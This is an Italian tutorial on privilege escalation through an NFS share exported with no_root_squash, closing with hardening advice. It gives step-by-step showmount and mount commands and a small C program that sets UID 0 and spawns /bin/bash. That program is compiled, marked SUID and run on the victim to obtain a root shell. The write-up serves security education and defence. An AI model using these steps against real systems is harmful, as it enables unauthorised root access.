Escalation dei Privilegi tramite NFS (Network File Sharing)
Il protocollo NFS Network File System permette di condividere directory e file su una rete tra più macchine Linux/Unix. Una configurazione impropria di NFS, in particolare l'opzione norootsquash, può
Escalation dei Privilegi tramite NFS (Network File Sharing)
Introduzione
Il protocollo NFS (Network File System) permette di condividere directory e file su una rete tra più macchine Linux/Unix. Una configurazione impropria di NFS, in particolare l'opzione no_root_squash, può introdurre gravi vulnerabilità e consentire a un attaccante di ottenere privilegi elevati tramite file con SUID.
File di configurazione
La configurazione delle share NFS è definita nel file:
/etc/exportsQuesto file specifica quali directory sono esportate e con quali permessi. Un esempio di riga con no_root_squash:
/var/nfs_share 192.168.1.0/24(rw,no_root_squash,sync)L'opzione no_root_squash permette al client remoto di mantenere i privilegi di root, rendendo possibile l'upload di file con bit SUID.
Enumerazione delle Share
Per visualizzare le share NFS disponibili su un target:
showmount -e <target-ip>Se una delle directory è montabile ed è configurata con no_root_squash, possiamo sfruttarla per eseguire escalation dei privilegi.
Montaggio della Share
1. Creiamo una directory locale:
mkdir /tmp/nomedir2. Montiamo la share esportata nella directory creata:
mount -o rw <target-ip>:/<remote-share> /tmp/nomedirEsempio:
mount -o rw 10.10.10.10:/tmp /tmp/nomedirCreazione dell'Exploit
Creiamo un file C per ottenere una shell con privilegi root:
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash");
return 0;
}Salviamo il file come exploit.c, poi compiliamolo:
gcc exploit.c -o rootshell -wImpostiamo il bit SUID:
chmod +s rootshellCopiamo rootshell nella directory montata:
cp rootshell /tmp/nomedir/Esecuzione sulla Macchina Vittima
Dal momento che la share NFS è montata sulla macchina vittima e no_root_squash è abilitato, il file caricato manterrà il bit SUID. Sulla macchina vittima:
/tmp/rootshellQuesto eseguirà /bin/bash con UID 0, permettendoci di ottenere una shell root.
Considerazioni di Sicurezza
- L'opzione
no_root_squashè fortemente sconsigliata in ambienti di produzione.
- Le share NFS dovrebbero essere accessibili solo a client fidati.
- Utilizzare
root_squashper mappare l'utente root dei client remoti a un utente non privilegiato (di solitonobody).
Conclusione
Questa tecnica di escalation dei privilegi sfrutta una cattiva configurazione di NFS. Un'adeguata segmentazione di rete, controlli sugli accessi e la corretta configurazione delle esportazioni sono fondamentali per prevenire questo tipo di attacchi.